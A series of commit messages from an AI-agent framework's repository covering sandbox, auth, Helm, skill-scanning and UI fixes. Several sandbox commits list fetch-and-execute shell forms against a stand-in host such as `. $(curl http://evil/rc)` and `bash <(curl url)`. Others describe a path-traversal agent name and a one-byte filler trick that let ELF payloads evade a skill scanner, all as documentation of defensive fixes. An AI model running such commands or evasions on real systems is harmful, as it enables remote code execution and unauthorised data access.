* fix(sandbox): search skills across category mounts
* fix(sandbox): address virtual search mount review
Search explicitly configured category mounts regardless of ignored names,
while retaining descendant filters and host-parent exclusion. Warn with the
virtual mount path before re-raising broken-mount errors, defer ordinary
path resolution, and cover lookahead across mount boundaries.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): treat a fetched process substitution as a program operand
`bash <(curl url)` hands the fetched file to bash as an *operand*, not as a
redirect: bash runs it. The audit only recognised the stdin spelling
(`bash < <(curl url)`), so the operand spelling executable-fetched content
through the sandbox audit unimpeded — the miss documented in the middlewares
AGENTS.md known-gaps list.
An interpreter in command position whose first operand is a risky process
substitution now blocks. The two exceptions mirror the stdin rule: a script
operand in front (`bash script.sh <(curl url)`) keeps the substitution an
ordinary argument, and a shell noexec flag (`bash -n <(curl url)`) only
parses it.
Verified in Git Bash:
bash <(echo "echo FETCHED_AS_PROGRAM") -> FETCHED_AS_PROGRAM
bash <(echo "echo FETCHED_WITH_ARG") consumer.sh -> FETCHED_WITH_ARG
bash -n <(echo "echo NOEXEC") -> exit 0, no output
* docs(sandbox): clarify substitution audit limitations
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(tui): let quit skip an interrupted run's unfinished step
After Ctrl+C the synchronous agent stream keeps running until its next
event. The run was a Textual thread worker, i.e. a thread on asyncio's
default executor, which App.run() joins on shutdown (up to 300 s on
3.12) and interpreter exit joins again with no timeout. Quitting while
a long step was still running therefore hung silently after the
terminal had been restored, and further Ctrl+C presses only printed a
traceback.
Run workers on a daemon thread instead. Quit now waits visibly for
running workers (an interrupted step still checkpoints, a finished run
still saves its title) and refuses sends meanwhile; a second quit
request exits at once. Report unexpected worker exceptions as an error
row and end the run, since Textual no longer catches them.
* docs(changelog): reference #7326 for the TUI quit-after-interrupt fix
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(goal): use spare evidence budget for long user input
* fix(goal): retry one malformed evaluator verdict
---------
Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
* fix(tui): append streamed assistant deltas verbatim
The reducer merged each delta by comparing it with the row text: an
equal delta was a no-op, a delta starting with the row replaced it, and
a delta the row started with was dropped. Those rules absorbed re-sends,
replayed history and cumulative snapshots, none of which
DeerFlowClient.stream emits any more, so they only deleted real tokens
("ha" + "ha" -> "ha", "1" + "10" -> "10") and every standalone Markdown
marker an answer opened with (closing **, list bullets, table pipes,
closing code fences).
Append every delta on both the id-keyed and anonymous paths, and drop
_merge_stream_text. Rewrite the tests that pinned the re-send premise
as append contracts, run the merge cases through reduce() on both
paths, and drive the real client stream into the reducer.
* docs(changelog): note TUI streamed-delta fix (#7325)
* docs(changelog): drop trailing spaces after the #7325 entries
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(artifacts): keep a delimited sandbox path whole
The free-text artifact scan matched `/mnt/user-data/\S+`, so a tool that
quoted a filename with spaces registered a handle for the prefix: `Created
"/mnt/user-data/outputs/quarterly report.pdf" successfully.` became
`/mnt/user-data/outputs/quarterly`, which resolves to nothing after compact or
checkpoint reload. Quotes and inline backticks had the same failure.
The scan now classifies each candidate by how it is delimited. A span opened by
a matching quote or backtick on the same line is one value and keeps its spaces
and punctuation; a span whose delimiter never closes on that line reports
nothing, because a truncated prefix names a file that does not exist; a bare
path keeps the conservative whitespace boundary it always had. Ordering is the
text order, and the shared `seen` set still deduplicates against structured
references.
Pins the three delimiters, both unchanged behaviours (bare path boundary,
punctuation outside the delimiter), the unterminated and next-line cases, two
delimited paths in one result, a mixed delimited/bare result, and the extracted
handle end to end.
* fix(artifacts): reject line breaks and match escaped quotes
* fix(artifacts): validate quoted path boundaries
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(community): migrate You.com tools to async HTTP
The You.com provider sent its search request through a sync httpx.Client. A
sync LangChain tool invoked through ainvoke runs on the default executor, so
the request held one of that pool's threads for the whole network round-trip,
and several providers queried in parallel queued behind each other.
Make the tool a coroutine over httpx.AsyncClient, resolve the API key and
the configured max_results in a single config read, and move both disk reads
off the event loop: the tool config, and the User-Agent, which reads the
installed package metadata the first time it is needed.
* refactor(community): drop the dead You.com API key wrapper
The async migration resolved the key and max_results through
_resolve_tool_settings, which left _get_api_key with no production
caller: only TestGetApiKey still exercised it. Keeping a second seam
around the same config read lets it drift from the real call path, so
drop the wrapper and point the tests at _resolve_tool_settings.
Also keep the hot path off the executor: _user_agent is cached, so only
the first call reads the installed package metadata. Later calls are
in-memory hits and now skip the to_thread round-trip.
Finally, record which httpx client factory the provider reaches for in
the runtime anchor. MockTransport runs its handler on the calling thread
without real blocking I/O, so a provider that stayed async but sent the
request through a sync client would satisfy the thread assertion; the
recorded factory is what catches that partial regression.
* test(community): align You.com URL safety stub with async tool
The URL safety matrix still patched the removed _get_api_key seam and invoked the You.com tool synchronously. Mock the awaited search with AsyncMock and call the tool through ainvoke so URL screening remains covered after the async migration.
---------
Co-authored-by: treasuresyq <309743290+treasuresyq@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
Exa web_search and web_fetch accept a per-tool base_url, falling back to
EXA_BASE_URL and then the SDK default. Overrides are validated like the
Serper base URL. web_fetch screens a configured backend with the shared
delegated-backend guard.
Co-authored-by: lachy3433 <lachlanallen.co@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(models): honor HTTP-date Retry-After hints in Claude retries
* refactor(models): share bounded HTTP-date retry parsing
* test(agents): move retry date regression to middleware suite
get_soul was the only read/write method that skipped validate_agent_name,
so a name like "../../other-user/agents/planner" reached
resolve_agent_dir and read another user's SOUL.md. Validate it like the
other methods do.
The regression test asserts ValueError for a traversal name; it reads the
other user's soul on main.
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): release the E2B ownership lease when acquire finds the VM gone
The in-process reuse path (dead or unreachable cached client) and the
warm-pool reclaim path (reconnect reports "sandbox not found") dropped
their local bookkeeping but kept the VM's ownership lease. Nothing later
sees that ID: the warm sweep only walks the warm pool, reconciliation
only walks the remote inventory, and the lease renewer keeps renewing
(and re-claims a lapsed lease) until shutdown. Every reaped VM left one
entry in _owned_sandbox_ids and one renewed ownership key behind.
Call _release_ownership in both branches. Both act only on E2B's trusted
not-found signal, the store's release is a no-op for a peer's lease, and
a backend error still drops the local ID so the shared lease expires on
its TTL.
* docs(changelog): reference #7277 for the E2B dead-VM lease fix
* test(sandbox): pin that transient E2B errors keep the ownership lease
The dead-VM release is only safe because the gone signatures match
narrowly. Pin the other side: a non-gone ping error keeps reusing the
cached VM, and a non-gone warm reconnect error leaves the lease to
eviction.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(startup): detect extras for browser-configured IM channels
* docs(startup): clarify channel extra provider source
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(mcp): keep host paths out of the MCP config mutation 500 details
The five MCP config mutation routes answered an unexpected failure with
`f"Failed to …: {str(e)}"`. Each one runs a read-modify-write of
`extensions_config.json` (`_apply_mcp_config_update`,
`_apply_mcp_servers_create`, `_apply_mcp_server_config_update`,
`_apply_mcp_server_delete`, `_apply_mcp_server_state_update`), so the error the
handler catches is usually an `OSError` from `atomic_write_extensions_config`
that names the absolute host path — the `DEER_FLOW_HOME` layout of the server.
The custom-agent, user-profile and skills-read routes already return fixed text
for this reason (#7255; `routers/AGENTS.md`: "agent config parse errors and
`OSError`s carry host paths and stay in the server log"). These five were the
remaining MCP mutation 500s on the same file, so they now return the fixed
detail and keep the exception in the existing log line.
Red first, on the unmodified `main` — all five put the planted host path in
`detail`:
$ python -m pytest tests/test_mcp_config_error_details.py -q
5 failed in 6.37s
After the change, 5 passed; the wider MCP suites (246 tests across
`blocking_io/test_mcp_router.py`, `test_mcp_config_secrets.py`,
`test_mcp_lifecycle*.py`) stay green.
* fix(mcp): normalize personal config mutation errors
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(skills): treat only top-level scripts/ paths as executable in skill_manage
write_file classified a support file as executable content with a substring
test ("scripts/" in path), so any support path merely containing "scripts/"
(e.g. references/scripts/overview.md or templates/my-scripts/setup.md) was
moderated as executable: that scan requires an exact "allow" decision and
hard-blocks when the moderation model is unavailable. Executable content is
now exactly a file under the skill's top-level scripts/ directory, matching
the scripts/ member rule in skills/package_files.py and the same Path
semantics the storage layer already used to validate the support path.
* refactor(skills): share the scripts/ member rule with skill_manage
The write_file executable gate re-derived the top-level scripts/ member rule
locally. Use package_files.is_scripts_member instead so the gate, installer,
and SkillScan stay in lockstep.
Extend the regression test to pin scripts/sub/run.sh and ./scripts/run.sh as
executable content, plus the shared helper's normalization.
* fix(skills): moderate nested code files as executable content in skill_manage
The write_file executable gate classified only top-level <scripts/> members as
code, so runnable support files elsewhere in the package
(references/scripts/helper.py, templates/my-scripts/run.sh,
assets/my-scripts/tool.js) and extensionless shebang files fell back to static
moderation: a warn decision, or an unavailable moderation model with
security_fail_closed=false, wrote them to disk. The deterministic package scan
does not enforce the allow-only model verdict, and this write path publishes
through write_custom_skill without running the mutations CandidateScanner, so no
later check restores executable moderation.
Classify with the complete shared code-file rule from
deerflow/skills/package_files.py (scripts members, code suffixes, and
extensionless shebang files) instead of the scripts-member rule alone, and keep
Markdown/data support files on the static tier. Extend the regression suite with
the code-suffix/ shebang cases plus the warn and unavailable-provider outcomes.
* refactor(helm): derive the postgres Secret name from one helper
`databaseUrlSecret` re-encoded the `postgresql.external.existingSecret` then
`postgresql.existingSecret` chain in its own `if`/`else if`. Three consumers
read it — the gateway's `DATABASE_URL`, the postgres StatefulSet's
`POSTGRES_PASSWORD`, and `postgres-secret.yaml`'s own `metadata.name` — so a
source added to one helper and not the other would make the gateway and the
StatefulSet resolve different Secrets. That is the class of bug #7149 fixed
for the redis pair.
Extract `databaseUserSecret` as the single encoding of the chain and let
`databaseUrlSecret` fall back to the chart-managed name when it is empty,
mirroring `redisUserSecret` / `redisUrlSecret`.
Pure refactor: the rendered manifest is byte-identical before and after across
the four configurations (chart-managed, `existingSecret`,
`external.existingSecret`, and both set), compared with `helm template`.
Adds `test_helm_database_secret_precedence.py`, which pins that both consumers
name the same Secret and that only the chart-managed branch renders a Secret.
Dropping either precedence source fails the two cases that depend on it.
Suggested in review of #7161.
* fix(helm): keep the postgres Secret helper's truthiness
Review follow-up on the previous commit. Two things were still wrong:
`postgres-secret.yaml` kept its own copy of the precedence chain for the
render gate, so "the only place the chain is encoded" was not yet true — a
source added to `databaseUserSecret` alone would have left that gate empty
and rendered an unreferenced `<release>-postgres` Secret. It now reads the
helper, like `redis-secret.yaml` already did.
`or` returns its last operand even when it is falsy, so
`postgresql.existingSecret: false` (how people spell "not set") named the
Secret `false` instead of falling back to the chart-managed one. Chaining
`default` keeps the old if/else-if truthiness and yields an empty string
for any falsy value; the gateway's `$pgConfigured` now reads the same
helper rather than re-listing the two keys.
Two falsy cases join the parametrize list: `false` in the lower-precedence
slot and in both slots. Both fail against the previous `or` version with
`assert [] == [False]` — the Secret literally named `false` — so they are
regressions this test can actually catch. The other four configurations
render byte-identically before and after.
* fix(helm): keep the redis user-Secret helper's truthiness
Same defect the postgres helper had, one release later: `redisUserSecret`
used `or`, which returns its last operand even when falsy, so
`redis.existingSecret: false` named both the gateway's `redis-url` ref and
the StatefulSet's `redis-password` ref after a Secret called `false`. The
render gate in `redis-secret.yaml` saw the string "false" as truthy, so it
skipped creating the chart-managed Secret — leaving two dangling refs and
a StatefulSet that cannot start.
`default` chaining restores the pre-`redisUserSecret` if/else-if behaviour:
any falsy value yields an empty string, so the chart-managed branch is
taken. `redisConfigured` now reads the helper instead of re-listing the two
keys, matching the gateway's `$pgConfigured`.
Verified against the four string-valued configurations (chart-managed,
`existingSecret`, `external.existingSecret`, both): renders are
byte-identical before and after. The two new falsy cases fail on the
previous version, and `--basetemp` makes all 14 cases in this file pass.
* docs(helm): drop a stray article in the helper comment
* fix(auth): map malformed OIDC provider bodies to OIDCError
The SSO login route answers OIDCError with 502 and the callback with
an sso_failed redirect, but oidc.py raised OIDCError only for transport
and HTTP status errors. A provider answering 200 with an HTML page or
any non-object JSON raised JSONDecodeError, KeyError or AttributeError
instead, so both routes failed with a 500. A malformed UserInfo body
also aborted the login, although UserInfo is best-effort.
Decode discovery, token, JWKS and UserInfo bodies through one helper
that requires a JSON object, require string endpoints and issuer, reject
a non-list JWKS keys field, skip non-object JWK entries, and wrap a
malformed ID token header as OIDCValidationError. Build discovery
metadata before caching it so a rejected document is not served from
the cache.
* docs(changelog): reference #7258 for the OIDC malformed body fix
* fix(auth): report a falsy non-string OIDC issuer as wrong-typed
Check the issuer's type before its presence so 0, false and [] get the
non-string message instead of "missing the issuer field"; an absent or
empty issuer still reports missing.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(auth): treat a signed token with wrong claims as malformed
decode_token caught jwt.PyJWTError but not pydantic.ValidationError, so a
correctly signed token without sub/exp raised out of the function. The
OIDC state cookie shares jwt_secret and has exactly that shape, and the
OAuth start endpoint is public, so an unauthenticated caller could turn
it into a 500 (or a broken WebSocket handshake) instead of a 401.
Catch ValidationError and return TokenError.MALFORMED.
The regression test signs an OIDC-state-shaped payload and asserts
MALFORMED; it raises on main.
* fix(auth): treat a signed OIDC state cookie with bad claims as unusable
_verify_state_signed had the same latent shape as decode_token: it caught
only jwt.PyJWTError, so a state cookie signed with jwt_secret but missing
required claims raised pydantic.ValidationError straight into the public
/api/v1/auth/callback/{provider} endpoint instead of returning None and
letting the handler answer 403.
Also pin the decode_token precedence a reviewer raised: an expired token
that is missing sub reports EXPIRED because jwt.decode raises before the
payload model runs.
* docs: reduce inherited backend guidance size
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
`store.py` already treats a state file whose bytes are not UTF-8 as corruption:
`_read_legacy_file` catches `UnicodeDecodeError` and the three call paths start
fresh or skip the import (#7233, AGENTS.md: "Store JSON decode errors follow
corrupt-file recovery"). Four readers in the same package read the same kind of
file with an explicit `encoding="utf-8"` but catch only
`json.JSONDecodeError`/`OSError`; `UnicodeDecodeError` is a `ValueError`, so it
escapes and takes the caller down instead of following that policy:
* `ChannelRuntimeConfigStore._load` — `ChannelService.start()` and the
channel-connections router construct the store, so one undecodable
`runtime-config.json` stops every IM channel from starting, including the
non-fallback path where a peer's copy should be rewritten from this process's
snapshot.
* `_read_legacy_file` — the one-time `runtime-config.json` import aborts instead
of keeping the file and reporting it as corrupt.
* `WechatChannel._load_state` / `_load_auth_state` — `start()` loads both through
`asyncio.to_thread`, so an undecodable cursor or auth file raises out of the
channel's own start instead of warning and continuing unauthenticated.
Each reader now names `UnicodeDecodeError` next to the existing handlers, so the
outcome matches the sibling store: a warning, the in-memory fallback, and the
file left in place.
* feat(community): add Jsonify dataset rows tool
Adds deerflow.community.jsonify.tools:dataset_rows_tool, a read-only tool
that returns rows from maintained Jsonify datasets. Jsonify pipelines run on
a schedule and repair themselves when a source changes, so the agent reads a
current table instead of scraping.
- operator configures a named map of dataset -> serve URL; the model picks
by name and never sees the URL
- serve URLs must be https without userinfo and pass validate_public_http_url
before any request; the URL is redacted from error text
- paging with has_more/next_offset, version pinned after the first page,
limit clamped to the configured max_rows, system columns stripped
- config.example.yaml entry under tools; unit tests cover paging, clamping,
unknown dataset, unconfigured tool, http/userinfo rejection, private
address block and error redaction
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QrmeK98ZKoxZNiUiz8kVeX
* fix(community): harden Jsonify tool paging, logging and error handling
- Stop paging on an empty page or a next_offset that does not advance
- Log config validation failures by field location and error type only
- Validate page shape; malformed or non-JSON pages return a clean error
- Transport errors report the exception type, never the URL
- Add truncated flag when rows were clipped or more rows remain
- Tests for each case
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QrmeK98ZKoxZNiUiz8kVeX
---------
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
* fix(scripts): reject a directory passed to support_bundle --out
`--out` names the zip, but the path went straight to `zipfile.ZipFile`, so
pointing it at an existing directory ended in a raw `PermissionError` traceback
(Windows) instead of the CLI's usual `error: ...` + exit 2.
`create_support_bundle` now raises the `ValueError` the CLI already maps to a
clean message, and the regression test pins exit 2 with no traceback.
* docs(scripts): say "zip file path" for support_bundle --out
Review nit: the help text said only "Output zip path", so the
file-not-directory contract the new validation enforces was invisible until a
run failed.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(knowledge): add independent Wiki and entity relation retrieval tools
* fix(knowledge): address review diagnostics and CI catalog coverage
* fix(knowledge): deduplicate graph evidence and update catalog e2e
* fix(knowledge): clarify bounded evidence and pin browser CI runners
* Update e2e-tests to run on ubuntu-latest
* Update workflow to use ubuntu-latest
* test(ci): stop pinning maintainer-controlled browser runner images
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(workspace): don't infer created or deleted files from truncated snapshots
A bounded workspace scan stops at max_scanned_files and marks the snapshot
truncated. Absence from such a snapshot is unknown, so creation is only
inferred from a complete before snapshot and deletion only from a complete
after snapshot. get_changed_paths() is the single filter for the summary,
text capture and output-delivery detection.
The scanner now walks subdirectories in sorted order so the truncation
boundary is reproducible across the before and after scans, and the docs
note that the budget is consumed root by root (workspace before outputs).
Supersedes #5231.
Co-authored-by: liutian <91778998+ImcLiuQian@users.noreply.github.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(runtime): record truncated delivery verification skips
Record verification_skipped=truncated_pre_run_snapshot in run.delivery
receipts when a truncated pre-run scan leaves no provable output changes.
Carry the snapshot into both normal and exceptional receipt finalization.
Keep observed-output verification and terminal statuses unchanged. Cover
success, failure, cancellation and capture failures through the real worker,
and document the per-run receipt marker.
---------
Co-authored-by: liutian <91778998+ImcLiuQian@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(uploads,integrations): keep atomic-write cleanup from replacing the caller's outcome
* fix(lark): keep the download error when archive cleanup fails
* test(lark): keep the download fixtures inside the test directory
* fix(uploads): keep OSError text out of upload, delete and attach 500s
Thread upload, upload delete and shelf attach-to-thread put str(exc) in
their 500 detail. A staging or unlink OSError names its file, so a
permission error, or a disk too full for mkstemp, returned the absolute
host path of the thread's uploads directory, user and thread IDs included.
Return a fixed detail that still names the caller's file. The existing
error log lines keep the full message for operators.
* docs(changelog): reference #7217 for the upload 500 detail fix
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(workspace): publish the snapshot text cache byte-exactly on every host
* test(workspace): pin diff line counts and guard the text cache on Windows CI
* ci(workspace): run Windows text-cache guards on source changes
Include the workspace_changes package in the Windows workflow's PR path
filter so scanner or diff regressions run the native Windows guards before
merge, rather than waiting for the weekly schedule.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(helm): honor redis-password from a user-managed Secret
The bundled Redis StatefulSet derived its AUTH mode only from
`redis.auth.password`, so a `redis.existingSecret` that carried both
`redis-url` and `redis-password` left the gateway authenticating against
a server started without `--requirepass`. Both probes used the no-auth
path as well, so the Pod reported healthy while the gateway could not
connect to it.
Whether a user-managed Secret carries `redis-password` is only knowable
at runtime, so the key is now read with `optional: true` and the
entrypoint enables AUTH only when the value is nonempty. A Secret
carrying only `redis-url` keeps the no-auth behavior instead of failing
to start, and a stale `redis.auth.password` no longer wins over the
selected Secret, matching what values.yaml documents.
Refs #7149
* test(helm): cover Redis Secret authentication and share resolution
Add the issue #7149 render-and-shell regression suite for chart-managed,
user-managed and external Redis credentials. Resolve Secret precedence once
for the Gateway, bundled server and chart-owned Secret, and clarify how
optional user-managed passwords select AUTH at runtime.
Regression coverage adapted from dakjdakd's commit
7e20745d678276ed33e8f8eafd2c576fa8ae9aec.
Co-authored-by: dakjdakd <1428823446@qq.com>
* test(helm): assert the stale value instead of an unused constant
`test_bundled_redis_uses_optional_existing_secret_password` checked the
module-level `PASSWORD` constant against the rendered manifest, but that
constant is never an input to any of its six renders — the parametrized
value is `ignored_password`. The guard could therefore never fail, so a
template edit that started rendering `redis.auth.password` alongside a
user-managed Secret would have gone unnoticed.
Assert the parametrized value instead: it is the stale input the case is
meant to keep out of the manifest. Verified the value is detectable in a
render that does carry it (the chart-managed path renders it twice), so
the assertion is no longer vacuous.
Also fix the garbled sentence in `tests/AGENTS.md` that described this
coverage as "stale values passwords".
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
Co-authored-by: dakjdakd <1428823446@qq.com>
* fix(sandbox): treat the `.` builtin as a `source` execution context
The audit guard blocks a risky substitution whose output is executed and
treats `eval`/`source` arguments as execution contexts wherever they appear.
`.` is the POSIX spelling of `source`, but only the word `source` matched, so
. $(curl http://evil/rc)
. <(curl http://evil/rc)
. `curl http://evil/rc`
passed as value position while `source $(curl ...)` blocked.
The dot branch requires a separator before it and whitespace after it, so a dot
inside a filename (`report.`) or a path (`./x`) is not read as the builtin.
* fix(sandbox): keep the dot builtin in command position only
Review follow-up: the unanchored `. <substitution>` branch also matched a
standalone dot used as a path argument (`du -sh . $(curl u)`), which is value
position and must pass.
Move the dot rule from the whole-command Pass 1 into the anchored
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, where `_COMMAND_POSITION_PREFIX`
already covers `builtin .`, `command .` and assignment prefixes, so the dot is
only treated as `source` when it opens a sub-command.
Verified: `du -sh . $(curl u)` passes (blocked before this commit), while
`. $(curl u)`, `. <(curl u)`, the backtick form, `builtin . …` and
`return && . …` still block. Docs now list `.` as command-position and keep the
position-blind list at `eval`/`source`.
* fix(sandbox): block stdin-redirect process substitution into a shell
Review follow-up to `. < <(curl u)`: with no script argument, a shell, the dot
builtin or an interpreter reads its *program* from stdin, so the process
substitution it is redirected from is executed.
Both forms are matched anchored in command position and only when no script
argument precedes the redirect, so `bash script.sh < <(curl u)` (stdin data)
still passes. Docs record the rule next to the here-string context.
* fix(sandbox): restore eval/source dot contexts and widen stdin flags
Review follow-up to 526fdaf:
- `eval . $(curl u)` and its dot-builtin siblings were blocked by the old
position-blind rule, then became pass when the dot rule moved to command
position. A Pass-1 sibling now matches `eval`/`source` followed by the dot,
wrappers included (`eval env . $(curl u)`).
- The stdin-redirect rule consumes long and bare-dash flags again
(`bash --norc < <(curl u)`, `node - < <(curl u)`). A flag whose value is the
next word (`bash -o pipefail < <(curl u)`) stays a documented known gap
instead of being guessed at.
* fix(sandbox): decide stdin-program execution from the token list
Review follow-up to a7c4a69. The stdin-redirect rule blocked three forms that
never execute the fetched bytes:
- `bash < <(curl u) consumer.sh` / `python3 < <(...) consumer.py` — a script
operand wins, so the substitution is that script's stdin data.
- `bash -n < <(curl u)` / `sh -n < ...` — noexec parses without running.
- `. < <(curl u)` / `source < <(curl u)` — the dot builtin requires a filename
and errors out instead of reading a program from stdin.
The anchored pattern is replaced by `_stdin_program_substitution`, which checks
the interpreter, its flags (shell noexec), the redirect, and whether a script
operand follows the substitution. Blocked forms are unchanged: `bash <
<(curl u)`, long and bare-dash flags, `env bash`, and non-shell interpreters
(`perl -n`).
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(skills): align skill-creator validation with the runtime schema
quick_validate.py rejected skills the runtime accepts and accepted skills
the runtime drops:
- Read SKILL.md with utf-8-sig so a BOM-prefixed file (Windows editors)
is not reported as missing frontmatter.
- Allow the DeerFlow frontmatter fields (argument-hint, required-secrets,
secrets-autonomous, version, author) that the runtime schema accepts.
- Reject empty name/description, which the loader drops.
- Validate required-secrets/secrets-autonomous shapes like the runtime
validator, so a malformed declaration fails before packaging.
Tests cover each case in backend/tests/test_skill_creator_quick_validate.py.
* fix(skills): close the remaining skill-creator parity gaps
- Read SKILL.md with utf-8-sig in utils.parse_skill_md too, so a BOM file
that quick_validate now accepts does not fail in run_eval/run_loop/
improve_description.
- Stringify YAML keys before the unexpected-key check, so mixed non-string
keys report cleanly instead of raising TypeError in sorted().
- Accept trailing whitespace on the frontmatter delimiters, matching the
runtime parser.
Each case has a regression test that fails on the previous commit.
* fix(skills): validate allowed-tools and stop over-rejecting compatibility
The reviewer found two remaining parity gaps:
- allowed-tools was not validated, while the runtime parser rejects
non-string list items, empty tool names, unmatched closing parentheses
and unclosed quotes. Mirror those shape rules.
- compatibility was rejected for non-string or >500-char values, but the
runtime validator never inspects it. Drop the check so this script does
not reject skills the runtime accepts.
Each case has a regression test that fails on the previous commit.
* fix(skills): reject unclosed parenthesized allowed-tools patterns
The runtime parser raises when the scan ends with depth > 0; the
quick_validate loop only checked for an unmatched closing parenthesis.
Add the depth check and move the unclosed-pattern case to the rejected
tests.
* fix(community): screen tavily and exa web_search result URLs
The Tavily and Exa web_search tools returned provider URLs to the model
unfiltered, so a loopback, link-local or metadata-service address in a
result reached the agent. Brave and Serper already pass result URLs
through safe_public_result_url; do the same here, blanking a non-public
URL while keeping the row's title and snippet.
* fix(community): screen result URLs in the remaining web_search providers
youcom, tencent_wsa, serply (url and scholar pdf_url), groundroute, sofya,
ddg_search, fastcrw, firecrawl and searxng handed provider-supplied URLs
to the model unfiltered. Route each through safe_public_result_url, as
brave, serper, tavily and exa do: a non-public URL is blanked and the
row's title and snippet are kept.
The test now drives every listed provider's web_search tool with a
stubbed provider payload carrying a metadata, loopback or public URL.
* fix(community): screen brave, serper and webz web_search result URLs
The remaining text-search providers still returned result URLs verbatim.
Serper's comment documented that policy; it now screens organic links like
its image results. The shared provider test covers all fourteen providers
and asserts the snippet survives screening.
* docs(tests): describe text-search URL screening coverage
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(skills): sniff executable binaries past leading filler bytes
The executable-binary guard (package_files.is_executable_binary_prefix)
matched ELF/PE/Mach-O magics strictly at file offset 0 across all three
layers: archive preflight, the extraction guard, and the directory static
scan. Prepending a single filler byte (newline, space, NUL, ...) evades
every layer simultaneously: a whitespace-prefixed ELF still loads through
ld.so, and the existing test asserting the scanner and the extraction
guard agree passes for both the plain and the padded form after this fix,
because both layers share this helper.
The sniff now tolerates a bounded (64-byte) run of leading ASCII
whitespace/NUL filler before matching, and scan windows widen from 8 to
EXEC_SNIFF_BYTES so the magic plus filler always fits the probe. The cap
keeps indented prose out of the false-positive zone (the existing
"full magics only" tests stay green).
Repro before the fix: archive with SKILL.md and assets/payload whose
bytes are b'\n' + ELF header: preflight passes, extraction writes the
file, the directory scan reports nothing.
Tests: 10 new regression cases across test_skillscan_native.py and
test_skills_installer.py; 701 related tests pass locally on py3.12.
* fix(skills): clarify executable filler sniffing
Address review feedback by clarifying the offset-0 probe rationale, handling UTF-8 BOM prefixes without truncating Mach-O magics, and pinning the 63/64-byte boundary.
* test(skillscan): describe what the filler-prefix regression asserts
The docstring said filler "must not evade the offset-0 probe", which reads
oddly for a test whose payloads all sit past offset 0. State the asserted
behavior instead: a bounded filler run still yields a blocking CRITICAL
finding.
* test(skillscan): pin executable sniff window and BOM handling
* test(skillscan): cover every executable sniff entry point
* test(lark): isolate windows runtime branch
* fix(agents): keep host paths out of agent and user-profile error details
The custom-agent and user-profile routes put str(e) in their 500
detail. Agent config parse errors and filesystem OSErrors name the
absolute host path under users/<user_id>/, so a caller saw it in the
response. Return the fixed "Failed to <action>" detail the import and
export routes already use and keep the full error in the existing log
lines. PUT also handles a parse error from its initial config load.
The scheduled-task assistant resolver echoed the same parse error as
its invalid_assistant 422 message, which reached the UI and the
scheduler tool result. It now logs the error and returns a fixed
message under the same code.
* docs(changelog): reference #7255 for the agents error detail fix
* fix(sandbox): surface local directory search permission errors
Permission failures during local list_dir and glob walks must reach the
caller instead of looking like an empty successful result. Transient
filesystem races keep using the existing walk race allowlist.
Fixes#7210
* fix(sandbox): keep denied path in ls/glob permission errors
Guard chmod-based permission tests for non-root POSIX, reverse-resolve
PermissionError.filename in LocalSandbox.list_dir/glob like grep, and
surface that path from ls_tool/glob_tool instead of only the requested root.
* test(sandbox): use workspace/tmp_path leak guards for ls/glob denials
The acceptance test compiles a fixture crate from a cold target directory in
each of its six parametrizations. On a loaded runner the toolchain startup and
compile together can exceed the 60s command budget, and the case then fails on
"Exit Code: 124" instead of a test summary — main run 39566441443 went red on
the [ignored] case for exactly that reason while the previous five runs passed.
Give the command a budget that covers a cold compile. The assertion itself is
unchanged: the test still requires cargo's own summary in the captured output.
Co-authored-by: Batianxieshen1 <280706568+Batianxieshen1@users.noreply.github.com>
